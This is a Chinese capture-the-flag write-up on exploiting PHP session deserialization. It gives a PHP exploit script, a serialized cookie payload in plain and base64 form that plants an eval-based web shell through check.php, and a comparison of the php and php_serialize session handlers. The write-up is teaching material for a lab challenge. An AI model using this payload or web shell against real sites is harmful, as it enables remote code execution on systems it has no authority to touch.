一. 题目分析:
跑dirsearch发现有个www.zip压缩包,是网站的源码,通过源码分析,我先梳理解题思路:
(1)首先访问首页,建立session,并获得cookie。
(2)然后将cookie修改为反序列化字符串
(3)访问check.php实现反序列化shell的写入
(4)访问log-1.php,获取flag
废话不多说直接上exp:
<?php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
}
$user=new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
$res="|".serialize($user);
echo $res;
得到payload为:
|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:6:"status";N;}
注意源码中要对cookie进行base64编码:
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQoK
总结:
这道题目关键是要注意session的存储方式为php:
ini_set('session.serialize_handler', 'php');
实际上还有一种常用的方式为:
ini_set('session.serialize_handler', 'php_serialize');
这两种session的存储方式的区别如下:
(1)php机制:
<?php
session_start();
ini_set('session.serialize_handler', 'php');
class User{
public $a="admin";
}
$user=new User();
$_SESSION['user']=$user;
//结果为:user|O:4:"User":1:{s:1:"a";s:5:"admin";}
(2)php_serialize机制:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class User{
public $a="admin";
}
$user=new User();
$_SESSION['user']=$user;
//结果为:a:1:{s:4:"user";O:4:"User":1:{s:1:"a";s:5:"admin";}}
可以看到两种方式的区别主要是“|”符号,在php_serialize机制中,只会序列化“|”符号后面的内容,这就是这道题的解题关键
详细的关于session存储方式的知识可以参考y神的这篇文章:
添加链接描述